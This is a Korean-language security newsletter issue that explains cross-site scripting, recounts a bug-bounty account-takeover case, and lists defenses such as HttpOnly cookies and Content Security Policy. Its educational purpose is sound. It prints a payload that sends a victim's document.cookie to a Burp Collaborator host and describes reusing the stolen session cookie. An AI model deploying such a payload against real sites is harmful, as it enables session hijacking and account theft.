[10์›” 3์ฃผ์ฐจ]


ํ•ดํ‚น ์•Œ๋ ค์ค„๊ฒŒ
11ํ™”: XSS(Cross Site Scripting)

2019๋…„๋ณด๋‹ค 26%๊ฐ€ ์ฆ๊ฐ€ํ•œ ์ด 420๋งŒ ๋‹ฌ๋Ÿฌ๋ฅผ ๋ฐ›์•˜๋‹ค๊ณ  ํ•˜๋„ค์š”. ๐Ÿ˜ฎ 
์˜ค๋Š˜ ๊ฐ™์ด ์•Œ์•„๋ณผ ์ทจ์•ฝ์ ์ด ๋ฐ”๋กœ ์ด XSS ์ž…๋‹ˆ๋‹ค! ๐Ÿค“

XSS ์ทจ์•ฝ์ ์ด ๋ญ์—์š”?
XSS๋Š” Cross Site Scripting์˜ ์•ฝ์ž์—์š”. ๐Ÿ˜„ 
์›๋ž˜๋Œ€๋กœ๋ผ๋ฉด CSS์—ฌ์•ผ ํ•˜์ง€๋งŒ HTML ์š”์†Œ์— ๋””์ž์ธ์„ ์ž…ํ˜€์ฃผ๋Š” 'Cascading Style Sheets'๊ฐ€ ์ด๋ฏธ CSS๋ผ๊ณ  ๋ถˆ๋ฆฌ๊ณ  ์žˆ์–ด์„œ ํ˜ผ๋™ํ•˜์ง€ ์•Š๋„๋ก XSS๋ผ๊ณ  ๋ถˆ๋ ค์š”.
XSS๋Š” ํ•ด์ปค๊ฐ€ ์•…์˜์ ์ธ Javascript ์ฝ”๋“œ๋ฅผ ์›น์— ์‚ฝ์ž…ํ•œ ํ›„ ์‚ฌ์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ•ด๋‹น ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์˜ˆ์‹œ๋ฅผ ๋“ค์–ด์ฃผ์„ธ์š”!

์—ฌ๊ธฐ ์ด๋ฆ„์„ ์ž…๋ ฅ๋ฐ›์•„ submit ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด ์›น ์‚ฌ์ดํŠธ์—์„œ ์ด๋ฆ„์„ ๋ณด์—ฌ์ฃผ๋Š” ์›น ์‚ฌ์ดํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฆ„์„ ์ ๋Š” ์นธ์— hackyboiz๋ฅผ ์ ๊ณ  submit ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด 'Hello hackyboiz!' ๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๊ฑฐ์ฃ . ๐Ÿ˜€

์ด๋•Œ submit ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ name์ด GET /?name=hackyboiz ๊ฐ™์€ HTTP ์š”์ฒญ์ด ๋ณด๋‚ด์ง€๊ณ  HTML ์ฝ”๋“œ์ธ <body> Hello hackyboiz! </body> ์œผ๋กœ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฑฐ์˜ˆ์š”.
โญ ์ค‘์š”ํ•œ ๊ฒƒ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ HTML์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๐Ÿ˜ฆ

๊ทธ๋ ‡๋‹ค๋ฉด Javascript๋Š” ์–ด๋–ป๊ฒŒ HTML์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”?
๋Œ€ํ‘œ์ ์œผ๋กœ <script> ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Javascript๋ฅผ HTML ์•ˆ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์–ด์š”.
์•ž์„œ ํ–ˆ๋˜ ์˜ˆ์‹œ์—์„œ <script> alert(1) </script> ๋ฅผ ์‚ฝ์ž…ํ•ด ๋ณผ๊นŒ์š”? <body> Hello <script> alert(1) </script></body>์œผ๋กœ Javascript๊ฐ€ ์‹คํ–‰๋˜์–ด 1์ด ์ ํ˜€์žˆ๋Š” ์•Œ๋ฆผ์ฐฝ์ด ๋œจ๊ฒŒ ๋˜๊ฒ ์ฃ ! ๐Ÿ˜ข

Javascript๋ฅผ ์‚ฝ์ž…ํ•ด์„œ ๋ฌด์—‡์„ ํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”?
๋‹จ์ˆœํžˆ alert ๋ฉ”์‹œ์ง€๋งŒ ๋„์šฐ๋ฉด ๋ฌธ์ œ๊ฐ€ ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ํ•ด์ปค๋“ค์ด XSS ๊ณต๊ฒฉ์œผ๋กœ ๊ฐ€์žฅ ๋งŽ์ด ๋…ธ๋ฆฌ๋Š” ๊ฒƒ์€ ์„ธ์…˜ ID๊ฐ€ ํฌํ•จ๋œ ์ฟ ํ‚ค๋ฅผ ํ›”์น˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค์™€ ์•ˆ์— ์ €์žฅ๋œ ์„ธ์…˜ID๋ฅผ ์–ป๊ฒŒ ๋˜๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๐Ÿ˜ฆ  ๊ทธ๋Ÿฌ๋ฉด ํƒˆ์ทจํ•œ ๊ณ„์ •์œผ๋กœ ๋˜ ์•…์˜์ ์ธ ํ–‰๋™์„ ํ•  ์ˆ˜ ์žˆ์–ด์š”.

๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋„ ์ƒ๊ฐํ•ด ๋ณผ๊นŒ์š”? 
ํ•ด์ปค๊ฐ€ ๊ฒŒ์‹œํŒ์— ๊ธ€์„ ์“ฐ๋Š”๋ฐ ์ œ๋ชฉ์„ ์ž๊ทน์ ์œผ๋กœ ์ ์–ด์„œ ์‚ฌ๋žŒ๋“ค์ด ํด๋ฆญํ•˜๊ฒŒ๋” ์œ ๋„ํ•˜๊ณ , ๋‚ด์šฉ์—๋Š” ์•…์„ฑ ์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•˜๊ฑฐ๋‚˜, ๋˜๋Š” ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•œ๋‹ค๊ณ  ํ•ด๋ณผ๊ฒŒ์š”. ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ์„ ํด๋ฆญํ•œ ์‚ฌ์šฉ์ž๋“ค์˜ ์ปดํ“จํ„ฐ ํ•ด์ปค๊ฐ€ ์ ์€ ์Šคํฌ๋ฆฝํŠธ๋Œ€๋กœ ์‹คํ–‰๋˜์–ด ์–ด๋–ค ์ผ์ด ์ƒ๊ธธ์ง€๋Š” ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ์ƒ์— ๋งก๊ธธ๊ฒŒ์š”. ๐Ÿ˜ฒ๐Ÿ’ญ

์‹ค์ œ๋กœ XSS๋กœ ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์„ ์–ด๋–ป๊ฒŒ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
ํŠน์ • ์›น์‚ฌ์ดํŠธ์—์„œ๋Š” ์กฐ์ง์„ ์ƒ์„ฑํ•˜๊ณ , ์กฐ์ง์— ์‚ฌ์šฉ์ž๋ฅผ ์ดˆ๋Œ€ํ•˜๋Š” ๋“ฑ์˜ ๋งŽ์€ ๊ธฐ๋Šฅ์ด ์žˆ์—ˆ๋Š”๋ฐ, ์ด ์ดˆ๋Œ€๋ฅผ ๋ณด๋‚ด๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ๊ณ„์ •์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
์ด ์ทจ์•ฝ์ ์„ ์ œ๋ณดํ•œ Vikram Naidu๋Š” ์ฒ˜์Œ์— ์กฐ์ง ์ƒ์„ฑ ๊ธฐ๋Šฅ์—์„œ ์กฐ์ง ์ด๋ฆ„์„ <script>alert(document.cookie)</script>๋กœ ๋“ฑ๋กํ–ˆ์ง€๋งŒ XSS๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ ๋˜์ง€ ์•Š์•„์„œ ์กฐ์ง ์ด๋ฆ„์„ xyz๋กœ ๋ณ€๊ฒฝํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ดˆ๋Œ€ ๊ธฐ๋Šฅ์œผ๋กœ ๋ˆˆ๊ธธ์„ ๋Œ๋ ธ์–ด์š”.
ํฌ๋กฌ์—์„œ ์ดˆ๋Œ€๋ฅผ ๋ฐ›์€ ๋‘ ๋ฒˆ์งธ ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•˜์ž๋งˆ์ž ์ƒ๋‹จ์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์•Œ๋ฆผ์ด ํ‘œ์‹œ๋˜๋Š”๋ฐ, ๋‚ด์šฉ ์ค‘ ๋“ฑ๋กํ–ˆ๋˜ ์กฐ์ง ์ด๋ฆ„(xyz)์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค!!!

๊บ„์•„์•„์•„์•„์•…
์—ฌ๊ธฐ๊นŒ์ง€ ๋ณด๋ฉด ์ด์ œ ์–ด๋–ป๊ฒŒ ํ•  ์ˆ˜ ์žˆ์„์ง€ ์•Œ๊ฒ ๋‚˜์š”?
์ฆ‰์‹œ ์ฒซ ๋ฒˆ์งธ ๊ณ„์ •์œผ๋กœ ๋Œ์•„๊ฐ€ ์กฐ์ง์˜ ์ด๋ฆ„์„ <script>alert(document.cookie)</script>๋กœ ๋‹ค์‹œ ๋ณ€๊ฒฝํ•˜๊ณ , ์ดˆ๋Œ€๋ฅผ ๋ฐ›์„ ๋•Œ XSS๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ ๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

XSS๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๊ณ  ํŒ์—…์œผ๋กœ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ๋‹ด๋‹นํ•˜๋Š” ์ธ์ฆ ํ† ํฐ์„ ํฌํ•จํ•ด์„œ ๋ชจ๋“  ์ฟ ํ‚ค๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๐Ÿ˜Ž
๋˜ํ•œ ์ž์‹ ์˜ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•  ๋•Œ ์œ ์ผํ•˜๊ฒŒ set-cookie๊ฐ€ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ๋‹ด๋‹นํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ์–ด์š”.
ํ”ผํ•ด์ž์˜ ๊ณ„์ •์„ ํƒˆ์ทจํ•˜๊ธฐ ์œ„ํ•ด ์ด ์ฟ ํ‚ค๊ฐ’์„ ํ•ด์ปค๊ฐ€ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” ๋ฐฉ์‹์œผ๋กœ burp collaborator client๋ฅผ ์—ด๊ณ  ํŽ˜์ด๋กœ๋“œ(์กฐ์ง์˜ ์ด๋ฆ„)๋ฅผ <script>new Image().src=โ€<http://burp.burpcollaborator.net/abc.php?output=>"+document.cookie;</script> ๋กœ ์ˆ˜์ •ํ•ด๋ด…์‹œ๋‹ค.

์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ์ดˆ๋Œ€์žฅ์„ ๋ณด๋‚ด๋ฉด, ํ”ผํ•ด์ž๊ฐ€ ์ž์‹ ์˜ ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•˜์ž๋งˆ์ž XSS๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๊ณ  ํ•ด์ปค์˜ Burp colloaborator client๋Š” ํ”ผํ•ด์ž ์ฟ ํ‚ค์˜ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ http ์š”์ฒญ์„ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋กœ๊ทธ์ธํ•˜๋Š” ๋™์•ˆ ํ•ด๋‹น ์ฟ ํ‚ค๋ฅผ ๋‚ด ์ฟ ํ‚ค๋กœ ๋Œ€์ฒดํ•˜๋ฉด ํ”ผํ•ด์ž ๊ณ„์ •์œผ๋กœ ์ง์ ‘ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์–ด์š”.

์–ด๋–ป๊ฒŒ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”? ๐Ÿค”
XSS ๋ฐฉ์ง€๋Š” ์‰ฝ์ง€ ์•Š๋‹ค๊ณ  ํ•ด์š”. ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•๋ถ€ํ„ฐ ํ•˜๋‚˜์”ฉ ์•Œ์•„๋ด์š”!
Command Injection์—์„œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ง€๋งŒ, ์—ญ์‹œ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์„ 100% ๋ฏฟ์œผ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค. ๐Ÿ™„  ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๋‚ด์šฉ์„ ์ตœ๋Œ€ํ•œ ์—„๊ฒฉํ•˜๊ฒŒ ํ•„ํ„ฐ๋งํ•˜๊ณ , XSS Cheat Sheet์— ๋Œ€ํ•œ ํ•„ํ„ฐ ๋ชฉ๋ก์„ ๋งŒ๋“ค์–ด Javascript๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ํ•ด์•ผ๊ฒ ๋„ค์š”.
๋˜ํ•œ, XSS๋ฅผ ๋ฐฉ์–ดํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ์•ฑ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๋Š” ์„œ๋ฒ„์— AntiXSS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๊ณ , ์‚ฌ์šฉ์ž๋Š” ์ž์‹ ์˜ ์ปดํ“จํ„ฐ์—์„œ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
Set-Cookie ์‘๋‹ต ํ—ค๋”์—๋Š” ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ์ž ๋ธŒ๋ผ์šฐ์ €์— ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š”๋ฐ ์ด๋•Œ HttpOnly Flag๊ฐ€ ์กด์žฌํ•ด์š”. Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly ์ด ์†์„ฑ์€ XSS ์ทจ์•ฝ์ ์˜ ๊ณต๊ฒฉ์„ ๋ฐฉํ•ดํ•˜๊ธฐ ์œ„ํ•œ ๋ชฉ์ ์œผ๋กœ ์ฟ ํ‚ค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋ž˜๋„ ์—ฌ์ „ํžˆ ํ•ด์ปค๊ฐ€ XSS ์ทจ์•ฝ์ ์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ Javascript๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด์š”..? ๐Ÿ˜ฅ  
๋งˆ์ง€๋ง‰ ๋Œ€์‘ ๋ฐฉ์•ˆ์œผ๋กœ ๋ณด์•ˆ ์ •์ฑ…์ธ Content Security Policy(CSP)๋ฅผ ์†Œ๊ฐœํ• ๊ฒŒ์š”! CSP๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์›น ๋‚ด๋ถ€์—์„œ Javascript๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋”๋ผ๋„ ํŠน์ • ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค๋งŒ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๊ฑฐ๋‚˜, ๋ฆฌ์†Œ์Šค๋ฅผ ์•„์˜ˆ ์ฐธ์กฐํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•˜๋Š” ๋“ฑ์˜ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๋ณด์•ˆ ์ •์ฑ…์„ ์„ค์ •ํ•˜์—ฌ ํ—ˆ๊ฐ€๋˜์ง€ ์•Š์€ ์Šคํฌ๋ฆฝํŠธ ๋กœ๋“œ ์ž์ฒด๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๋ณด์•ˆ ์ •์ฑ…์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ ๋‹ค์Œ ์ฃผ์—๋Š” ๋” ์œ ์ตํ•œ "ํ•ดํ‚น ์•Œ๋ ค์ค„๊ฒŒ"๋กœ ๋Œ์•„์˜ฌ๊ฒŒ์š”~ ๐Ÿ˜Ž
์˜ค๋Š˜ ์ „ํ•ด๋“œ๋ฆฐ ๋‚ด์šฉ์ด ๋งˆ์Œ์— ๋“œ์…จ๋‚˜์š”?
์ฃผ์œ„ ์นœ๊ตฌ๋“ค์—๊ฒŒ ๋‰ด์Šค๋ ˆํ„ฐ๋ฅผ ์ถ”์ฒœํ•ด์ฃผ์„ธ์š”!
๋‹ค์Œ์ฃผ์—๋„ ์•Œ์ฐฌ ๋‚ด์šฉ์œผ๋กœ ๋Œ์•„์˜ค๊ฒ ์Šต๋‹ˆ๋‹ค. ๐Ÿ˜™
ํ˜น์‹œ ๋งˆ์Œ์— ์•ˆ๋“œ๋Š” ๋ถ€๋ถ„์ด ์žˆ์—ˆ๋‚˜์š”? ์—ฌ๊ธฐ์—์„œ ํ”ผ๋“œ๋ฐฑ์„ ์ „๋‹ฌํ•ด์ฃผ์„ธ์š”!
์—ฌ๋Ÿฌ๋ถ„์˜ ์˜๊ฒฌ๋“ค์„ ์ ๊ทน ๋ฐ˜์˜ํ•ด์„œ ๋”์šฑ ์œ ์ตํ•œ ๋‰ด์Šค๋ ˆํ„ฐ๋ฅผ ๋งŒ๋“ค์–ด๊ฐ€๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๐Ÿ˜ƒ
ํ•ดํ‚ค๋ณด์ด์ฆˆ
hackyboizteam@gmail.com
์„œ์šธ์‹œ ๊ด‘์ง„๊ตฌ ๊ตฐ์ž๋™ 134-33 3์ธต
์ˆ˜์‹ ๊ฑฐ๋ถ€ Unsubscribe